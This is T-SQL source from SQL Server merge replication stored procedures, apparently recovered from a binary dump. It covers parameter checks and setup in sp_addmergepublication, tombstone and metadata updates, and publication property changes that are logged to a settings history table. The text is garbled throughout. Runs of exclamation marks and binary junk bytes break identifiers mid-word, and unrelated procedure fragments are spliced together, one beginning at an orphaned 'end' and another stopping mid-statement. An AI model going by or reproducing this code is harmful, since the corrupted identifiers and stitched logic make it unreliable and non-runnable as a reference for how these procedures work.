        raiserror (21767, 10, 1, '@centralized_conflicts', '@conflict_logging')
    
        set @conflogging= 
                case LOWER(@centralized_conflicts collate SQL_Latin1_General_CP1_CS_AS)
                    when 'true' then 1
                    when 'false' then 0
                    else null
                end
    
        if @conflogging is null
        begin
            RAISERROR (14148, 16, -1, '@centralized_conflicts')
            RETURN (1)
        end
    end
    else if @conflict_logging is not null
    begin
        set @conflogging= 
                case LOWER(@conflict_logging collate SQL_Latin1_General_CP1_CS_AS)
                    when 'publisher' then 1
                    when 'subscriber' then 0
                    when 'both' then 2
                    else null
                end

        if @conflogging is null
        begin
            RAISERROR (14103, 16, -1, '@conflict_logging')
            RETURN (1)
        end
    end
    else
    begin
        RAISERROR (14103, 16, -1, '@conflict_logging')
        RETURN (1)
    end

    if @conflogging = 2 and 
       @pubcompat_level_id < @REPOLEVersion_90
    begin
        RAISERROR (20705, 16, -1, @publication)
        RETURN (1)
    end
    else if @conflogging = 0 and
            @pubcompat_level_id < @REPOLEVersion_70SP2
    begin
        raiserror(21349, 10, -1, @publication)
        set @pubcompat_level_id= @REPOLEVersion_70SP2
    end
    
    /*
    ** Parameter Check:     @dynamic_filter.
    */

    IF @dynamic_filters IS NULL OR LOWER(@dynamic_filters collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@dynamic_filters')
            RETURN (1)
        END

    IF LOWER(@dynamic_filters collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @dynamic_filters_id = 1
    ELSE 
        SELECT @dynamic_filters_id = 0

    if @validate_subscriber_info is not NULL
    begin
        if @dynamic_filters_id = 0
            begin
                raiserror(21313, 16, -1)
                return (1)
            end
    end
    else if @pubcompat_level_id >= @REPOLEVersion_90
		select @validate_subscriber_info = N''	-- Empty string = auto-detect. NULL = don't use the feature. 
												-- NULL is not available for new 90 compat publications any more.

    /*
    ** Parameter Check:     @allow_partition_realignment.
    */

    IF @allow_partition_realignment IS NULL OR LOWER(@allow_partition_realignment collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_partition_realignment')
            RETURN (1)
        END

    IF LOWER(@allow_partition_realignment collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @allow_partition_realignment_id = 1
    ELSE 
        SELECT @allow_partition_realignment_id = 0
        
    -- Portable snapshot
    IF @snapshot_in_defaultfolder IS NULL OR LOWER(@snapshot_in_defaultfolder collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@snapshot_in_defaultfolder')
        RETURN (1)
    END
    
    IF LOWER(@snapshot_in_defaultfolder collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        SELECT @sna!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?Ӯxv"pshot_in_defaultfolder_bit = 1
    END
    ELSE
    BEGIN
        SELECT @snapshot_in_defaultfolder_bit = 0
    END

    -- Pre/Post snapshot commands
    -- If @sync_method is character mode bcp, this would indicate that
    -- this publication may support non-SQL Server subscribers. In this 
    -- case, pre- and post- snapshot commands are not allowed.
    IF @sync_modeid = 1 AND 
        ((@pre_snapshot_script IS NOT NULL AND @pre_snapshot_script <> N'' ) OR
         (@post_snapshot_script IS NOT NULL AND @post_snapshot_script <> N''))
    BEGIN
        RAISERROR (21151, 16, -1)
        RETURN (1)
    END

    -- Parameter check - @compress_snapshot
    -- @compress_snapshot can be 1 if @alt_snapshot_folder is non-null
    IF @compress_snapshot IS NULL OR LOWER(@compress_snapshot collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@compress_snapshot')
        RETURN (1)
    END
    
    IF LOWER(@compress_snapshot collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        SELECT @compress_snapshot_bit = 1
    END
    ELSE
    BEGIN
        SELECT @compress_snapshot_bit = 0
    END


    -- Only bump up the compatibility level if only a compressed snapshot
    -- is generated at the alternate snapshot folder
    if @snapshot_in_defaultfolder_bit = 0 and
       @compress_snapshot_bit = 1
    begin
        if @pubcompat_level_id < @REPOLEVersion_80RTM
        begin
            raiserror(21350, 10, -1, @publication)
            set @pubcompat_level_id= @REPOLEVersion_80RTM
        end
    end

    -- Snapshot compression can only be enabled if an alternate 
    -- snapshot generation folder exists.
    IF (@compress_snapshot_bit = 1 AND 
        (@alt_snapshot_folder IS NULL OR @alt_snapshot_folder = N''))
    BEGIN
        RAISERROR (21157, 16, -1)
        RETURN (1)
    END       

    -- Parameter check: ftp_address
    -- If the publication is enabled for internet, ftp_address cannot be null
    IF @enabled_for_internet_id = 1 AND (@ftp_address IS NULL OR @ftp_address = N'')
    BEGIN
        RAISERROR (21158, 16, -1)
        RETURN (1)
    END        

    -- Parameter check: ftp_port
    IF @ftp_port IS NULL OR @ftp_port < 0 OR @ftp_port > 65535
    BEGIN
        RAISERROR (21160, 16, -1)
        return 1
    END

    if @ftp_address IS not NULL and @ftp_address <> N''
    begin
        select @enabled_for_internet_id = 1
    end

    -- Encrypt ftp password before putting it into the dbo.sysmergepublications
    -- table if one is provided
    SELECT @enc_ftp_password = NULL
    IF @ftp_password IS NOT NULL
    BEGIN
        SELECT @enc_ftp_password = @ftp_password 
        EXEC @retcode = sys.sp_MSreplencrypt @enc_ftp_password OUTPUT
        IF @retcode <> 0
        BEGIN
            RETURN (1)
        END
    END       

    /*
    ** Parameter Check:     @keep_partition_changes.
    */

    if LOWER(@keep_partition_changes collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@keep_partition_changes')
            RETURN (1)
        END

    if LOWER(@keep_partition_changes collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        begin
            set @keep_before_values_int = 1
        end
    else 
        set @keep_before_values_int = 0

    /*
    ** Parameter Check:     @allow_subscription_copy_id.
    */

    if LOWER(@allow_subscription_copy collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_subscription_copy')
            RETURN (1)
        END
        
    IF LOWER(@allow_subscription_copy collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @allow_subscription_copy_id = 1
    ELSE 
        SELECT @allow_subscription_copy_id = 0
        
    /*
    ** Parameter Check:     @use_partition_groups.
    */
    
    if @use_partition_groups is not null and
                LOWER(@use_partition_groups collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@use_partition_groups')
        RETURN (1)
    END
        
    IF LOWER(@use_partition_groups collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @use_partition_groups_id = 2
    ELSE IF LOWER(@use_partition_groups collate SQL_Latin1_General_CP1_CS_AS) = 'false' 
        SELECT @use_partition_groups_id = 0
    ELSE
        SELECT @use_partition_groups_id = NULL    -- Let system decide whether it should be true or false.
        
    -- Keep-before-image functionality is not supported if partition id's are in use and backward
    -- compat level is 90 or higher.
    if @use_partition_groups_id = 2 and @pubcompat_level_id >= @REPOLEVersion_90
        and @keep_before_values_int = 1
    begin
        select @keep_before_values_int = 0
        --raiserror(21729, 16, -1)
    end

    /*
    ** Parameter Check:     @allow_synctoalternate_id.
    */

    if LOWER(@allow_synctoalternate collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_synctoalternate')
            RETURN (1)
        END
        
    IF LOWER(@allow_synctoalternate collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @allow_synctoalternate_id = 1
    ELSE 
        SELECT @allow_synctoalternate_id = 0
        
    if LOWER(@allow_web_synchronization collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_web_synchronization')
            RETURN (1)
        END
        
    IF LOWER(@allow_web_synchronization collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @allow_web_synchronization_id = 1
    ELSE 
        SELECT @allow_web_synchronization_id = 0
    /*
    ** Parameter Check: @max_concurrent_dynamic_snapshots
    */
    
    if @max_concurrent_dynamic_snapshots < 0 or @max_concurrent_dynamic_snapshots is null
    begin
        raiserror(21403, 16, -1)
        return (1)
    end
        
    /*
    ** Parameter Check:     @allow_subscriber_initiated_snapshot
    */

    if LOWER(@allow_subscriber_initiated_snapshot collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@allow_subscriber_initiated_snapshot')
        RETURN (1)
    END
        
    IF LOWER(@allow_subscriber_initiated_snapshot collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @allow_subscriber_initiated_snapshot_id = 1
    ELSE 
        SELECT @allow_subscriber_initiated_snapshot_id = 0

    /*
    ** Parameter Check:     @replicate_ddl
    */
    -- the default for @replicate_ddl is NULL. Choose a default of 0 or 1 based on the pub compat level
    if @replicate_ddl is NULL
    begin
        if @pubcompat_level_id < @REPOLEVersion_90
            select @replicate_ddl = 0
        else
            select @replicate_ddl = 1
    end
    else
    begin
        if @replicate_ddl <> 0 and @pubcompat_level_id < @REPOLEVersion_90
        begin
            RAISERROR (20650, 16, -1, @publication)
            RETURN (1)
        end
        if @replicate_ddl > 1
            select @replicate_ddl = 1
    end

    /*
    ** Check to see if the publication name is already used.
    ** 1. check merge pubs
    ** 2. check online publications
    */
    if exists (select * from dbo.sysmergepublications 
        where name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name())
    begin
        RAISERROR (20025, 16, -1, @publication)
        RETURN (1)
    end

    if (select category & @tranpublish_bit from master.dbo.sysdatabases where name = @db_name collate database_default) <> 0
    begin
        EXEC @retcode = sys.sp_helppublication @publication, @found !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?#۪Nv"output

        if @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            RETURN (1)
        END

        if @found <> 0 
        BEGIN
            RAISERROR (20025, 16, -1, @publication)
            RETURN (1)
        END
    end


    /*
    **    Add the publication as the designmaster of the replica set.
    */

    /* Generate a guid for the publication ID */
    set @pubid = newid()

    /* Look for existing nickname from any other subscription */
    exec @retcode= sys.sp_MSgetreplnick NULL, NULL , NULL,    @replnick out
    if (@@error <> 0) or @retcode <> 0 
    begin
        RETURN(1)
    end

    /* Generate a new replica nickname from the @pubid */
    if (@replnick is null)
    begin
        execute @retcode = sys.sp_MSgenreplnickname 
                                @srcguid= @pubid, 
                                @replnick= @replnick output, 
                                @compatlevel= @pubcompat_level_id
        IF @@ERROR <>0 OR @retcode <> 0
        BEGIN
            RAISERROR (20077, 16, -1)
            RETURN (1)
        END
    end
    else
    begin
        -- if replnick is not null it means that this is a republisher
        -- check to see if there are any anonymous or local subscriptions
        if exists (select 1 from dbo.sysmergesubscriptions  
                    where db_name=@db_name and 
                          UPPER(subscriber_server) collate database_default = UPPER(publishingservername()) collate database_default and
                          subscriber_type > 1 and
                          status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            RAISERROR(21087, 16, -1)
            return (1)
        end

        -- check to see if there are global subscriptions with prority 0
        select @priority=max(priority) from dbo.sysmergesubscriptions 
            where db_name=@db_name and 
                  UPPER(subscriber_server) collate database_default = UPPER(publishingservername()) collate database_default and
                  status <> 7 -- REPLICA_STATUS_BeforeRestore
        if @priority = 0 
        begin
            RAISERROR(21091, 16, -1)
            return (1)
        end
    end
    

    /*
    ** Get distributor information
    */    
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
                            ,@distributor = @distservername OUTPUT
                            ,@distribdb = @distribdb OUTPUT
                            ,@working_directory = @working_directory OUTPUT
    if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL or @working_directory is null
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END
    
    /*
    **    add an entry into dbo.sysmergepublications
    */
    begin tran      
    save tran sp_addmergepublication
    
        exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                      @lockowner = N'Transaction'
        if @retcode<>0 or @@error<>0
        begin
            raiserror(20713, 16, -1, 'sp_addmergepublication', @publication)
            goto FAILURE            
        end

        select @got_merge_admin_applock = 1
        
        /* Add row in the publications table */
        insert dbo.sysmergepublications
            (pubid, 
            name, 
            description, 
            designmasterid, 
            retention, 
            parentid, 
            sync_mode, 
            allow_push, 
            allow_pull, 
            allow_anonymous, 
            centralized_conflicts,
            decentralized_conflicts,
            status,
            snapshot_ready,
            enabled_for_internet,
            publication_type,
            dynamic_filters,
            snapshot_in_defaultfolder,
            alt_snapshot_folder,
            pre_snapshot_script,
            post_snapshot_script,
            compress_snapshot,
            ftp_address,
            ftp_port,
            ftp_subdirectory,
            ftp_login,
            ftp_password,
            conflict_retention,
            keep_before_values,
            allow_subscription_copy,
            allow_synctoalternate,
            validate_subscriber_info,
            ad_guidname,
            backward_comp_level,
            max_concurrent_merge,
            max_concurrent_dynamic_snapshots,
            use_partition_groups,
            replicate_ddl,
            allow_subscriber_initiated_snapshot,
            distributor,
            allow_web_synchronization,
            web_synchronization_url,
            allow_partition_realignment,
            retention_period_unit,
            generation_leveling_threshold,
            automatic_reinitialization_policy)
        values
            (@pubid, 
            @publication, 
            @description, 
            @pubid, 
            @retention, 
            @pubid, 
            @sync_modeid, 
            @allow_push_id, 
            @allow_pull_id, 
            @allow_anonymous_id, 
            case @conflogging -- centralized
                when 1 then 1
                when 2 then 1
                else 0
            end,
            case @conflogging -- decentralized
                when 1 then 0
                when 2 then 1
                else 1
            end,
            @statid,
            @false,
            @enabled_for_internet_id,
            @full,
            @dynamic_filters_id,
            @snapshot_in_defaultfolder_bit,
            @alt_snapshot_folder,
            @pre_snapshot_script,
            @post_snapshot_script,
            @compress_snapshot_bit,
            @ftp_address,
            @ftp_port,
            @ftp_subdirectory,
            @ftp_login,
            @enc_ftp_password,
            @conflict_retention,
            @keep_before_values_int,
            @allow_subscription_copy_id,
            @allow_synctoalternate_id,
            @validate_subscriber_info,
            @ad_guidname, 
            @pubcompat_level_id,
            @max_concurrent_merge,
            @max_concurrent_dynamic_snapshots,
            @use_partition_groups_id,
            @replicate_ddl,
            @allow_subscriber_initiated_snapshot_id,
            @distservername,
            @allow_web_synchronization_id,
            @web_synchronization_url,
            @allow_partition_realignment_id,
            @retention_period_unit_id,
            @generation_leveling_threshold,
            @automatic_reinitialization_policy)
        if @@ERROR <> 0
            begin
                goto FAILURE
            end

        /* Add row to represent reciprocal subscription */                
        INSERT dbo.sysmergesubscriptions (subscriber_server, db_name, pubid, datasource_type,
                subid, replnickname, replicastate, status, subscriber_type, subscription_type,
                sync_type, description, priority, last_validated, replica_version)
        VALUES (publishingservername(), @db_name, @pubid, 0, 
                @pubid, @replnick, newid(), @statid, @global, @push,
                @automatic, @description, @priority, getdate(), 90)
        if @@ERROR <> 0
            begin
                goto FAILURE
            end
        /*
        **    Add row for merge publication to dbo.MSmerge_replinfo.
        */
        insert dbo.MSmerge_replinfo(repid, login_name)
            values (@pubid, suser_sname(suser_sid()))
        if @@ERROR <> 0
            begin
                goto FAILURE
            end


        /*
        ** Add the publication to the distributor side
        */
        SELECT @distpubid = @replnick
        
        declare @publisher_engine_edition int

        select @publisher_engine_edition = sys.fn_MSrepl_editionid()

        select @dis!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*
?/,Jt"h
>
8^
}


!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ECUTE @retcode = @distproc
            @publisher = @publishingservername,
            @publisher_db = @db_name,
            @publication = @publication,
            --@publication_id = NULL,
            @publication_type = 2,            -- 0 = Trans, 1 = Snapshot, 2 = Merge
            @independent_agent = @true,
            @immediate_sync = @true,
            @allow_push = @allow_push_id,
            @allow_pull = @allow_pull_id,
            @allow_anonymous = @allow_anonymous_id,
            @description = @description,
            @retention = @retention,
            @allow_subscription_copy = @allow_subscription_copy_id,
            @retention_period_unit = @retention_period_unit_id,
            @publisher_engine_edition = @publisher_engine_edition

        IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO FAILURE
            END
                
        -- Populate the initial list.
        exec @retcode = sys.sp_grant_publication_access 
            @publication = @publication,
            @login = null,
            @reserved = 'init'
        IF @@error <> 0 OR @retcode <> 0
            GOTO FAILURE

        
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran

    return (0)

FAILURE:
    RAISERROR (14018, 16, -1)
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_addmergepublication
        COMMIT TRANSACTION
    end
    return (1)


      end

        if @incolv is not null
        begin
            set @colv = @incolv
        end
        else
        begin
            if @pubid is NULL
            begin
                select @col_tracking = column_tracking
                 from dbo.sysmergearticles where nickname = @tablenick
            end
            else
            begin
                select @col_tracking = column_tracking
                 from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
            end

            if (@col_tracking = 0)
                set @colv = NULL
            else
            begin
                set @colv = 0xFF
            end
        end
                
                begin tran
                save tran eval_change_membership_for_row
                
                exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = @tablenick, @rowguid = @rowguid
                if @retcode <> 0 or @@error <> 0
                begin
                        rollback tran eval_change_membership_for_row
                        commit tran
                        return 1
                end
                
        insert into dbo.MSmerge_contents (tablenick, rowguid, lineage, generation, colv1)
            values (@tablenick, @rowguid, @lineage, 0, @colv)

                exec @retcode = sys.sp_MSevaluate_logicalrecordparent @nickname = @tablenick, @rowguid = @rowguid
        if @retcode <> 0 or @@error <> 0
                begin
                        rollback tran eval_change_membership_for_row
            commit tran
            return 1
        end
         
                commit tran
    end
    else if (@metatype = 6) -- e.g., used to cope with dup key / dup index
    begin
        if @conflict_lineage is not null
        begin
            set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, 1) }
        end
        else
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
        end
           
        begin transaction
        if not exists (select * from dbo.MSmerge_tombstone where rowguid=@rowguid and tablenick=@tablenick)
        begin
            insert into dbo.MSmerge_tombstone (rowguid, tablenick, type, lineage, generation) 
                select @rowguid, @tablenick, @metatype, @lineage, 0
                where not exists (select * from dbo.MSmerge_contents 
                                        where tablenick = @tablenick
                                        and rowguid = @rowguid)
                        if @@rowcount = 0
                        begin
                                -- We get here only when there is an existing contents row, which caused us to 
                                -- not insert the tombstone row. Let us dummy update the contents row in this
                                -- case.
                                update dbo.MSmerge_contents set generation = 0
                                where tablenick = @tablenick
                                and rowguid = @rowguid
                        end
                        else
                        begin
                insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid,
                                        partition_id, generation, reason)
                                        values (0, @tablenick, @rowguid, -1, 0, 1)
                        
                                delete from dbo.MSmerge_current_partition_mappings where rowguid=@rowguid and tablenick=@tablenick
                        end
        end
        commit
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
@v@'               insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousCompressSnap,@value_bit,NULL)
            end

            -- See comment for 'snapshot_in_defaultfolder'
            IF @value_bit = 1 and @snapshot_in_defaultfolder = 0 and @compatlevel < 40
            BEGIN
                EXEC @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
                IF @@ERROR<>0 OR @retcode<>0
                    GOTO UNDO
            END
        END

        if @property = 'allow_subscription_copy'
        BEGIN

            declare @previousAllowSubCopy int
            SELECT @previousAllowSubCopy = allow_subscription_copy FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_subscription_copy column */
            UPDATE dbo.sysmergepublications 
                SET allow_subscription_copy = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousAllowSubCopy <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowSubCopy,@value_bit,NULL)
            end
            
            select @schemaversion = schemaversion from dbo.sysmergeschemachange
            if (@schemaversion is NULL)
                set @schemaversion = 1
            else
                select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                
            set @schemaguid = newid()
            set @artid = null
            set @schematype = @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM
            select @schematext = 'exec dbo.sp_MSchange_mergepublication @pubid = ''' + convert(nchar(36), @pubid) + ''', @property = ''' + @property + ''', @value = ''' + @value + ''''
            exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR<>0 or @retcode<>0 goto UNDO    
            
        END
        if @property = 'allow_synctoalternate'
        BEGIN

            declare @previousSyncToAlt int
            SELECT @previousSyncToAlt = allow_synctoalternate FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_synctoalternate column */
            UPDATE dbo.sysmergepublications 
                SET allow_synctoalternate = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousSyncToAlt <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousSyncToAlt,@value_bit,NULL)
            end

        END
        
        if @property = 'allow_web_synchronization'
        BEGIN
        
            -- logical records not supported with char mode bcp (CE subscribers)
            if @value_bit = 1 and (exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid
                                        and filter_type & 2 = 2)
                                    or exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid
                                        and (logical_record_level_conflict_detection = 1 or logical_record_level_conflict_resolution = 1)))                                        
            begin 
                raiserror(22546, 16, -1, @publication)
                goto UNDO
            end
        

            declare @previousAllowWebSync int
            SELECT @previousAllowWebSync = allow_web_synchronization FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_web_synchronization column */
            UPDATE dbo.sysmergepublications 
                SET allow_web_synchronization = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousAllowWebSync <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowWebSync,@value_bit,NULL)
            end
        END
        
        if @property = 'allow_subscriber_initiated_snapshot'
        BEGIN

            declare @previousAllowSubInitSnapshot int
            SELECT @previousAllowSubInitSnapshot = allow_subscriber_initiated_snapshot FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_subscriber_initiated_snapshot column */
            UPDATE dbo.sysmergepublications 
                SET allow_subscriber_initiated_snapshot = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousAllowSubInitSnapshot <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowSubInitSnapshot,@value_bit,NULL)
            end
        END 

        if @property = 'allow_partition_realignment'
        BEGIN

            -- upload options can not be set to allow uploads when allow_partition_realignment is set
            -- to false or else it can lead to upload of out of partition updates.
            select @upload_options = NULL
            select top 1 @upload_options = upload_options from dbo.sysmergearticles 
                where pubid = @pubid
            if @value_bit = 0 and @upload_options <> 1 and @upload_options <> 2 and @upload_options is not NULL
            begin
                raiserror(22543, 16, -1)
                GOTO UNDO
            end

            /* Get the previous value */
            select @previousbitvalue = allow_partition_realignment from  dbo.sysmergepublications 
            WHERE pubid = @pubid

            /* Update the allow_subscriber_initiated_snapshot column */
            UPDATE dbo.sysmergepublications 
                SET allow_partition_realignment = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            /*  Insert event in the MSmerge_settingshistory table if the
            new value is different from the old value
            Look in replsys.sql where the table is created for more
            details about what is in this table. */
            
            if (@previousbitvalue <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property

                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
@u9-v@'ubid,NULL,@eventtype,@property,@previousbitvalue,@value_bit,NULL)
            end

        END 
        
        if @property = 'keep_partition_changes'
        BEGIN
            declare @use_partition_groups smallint
            declare @backward_comp_level int
            declare @keep_partition_changes_old int
            select @use_partition_groups = use_partition_groups, 
                   @backward_comp_level = backward_comp_level,
                   @keep_partition_changes_old = keep_before_values from dbo.sysmergepublications
                where pubid = @pubid
            -- when changing partition groups from 0 to 1 all subscriptions have to be reinitialized
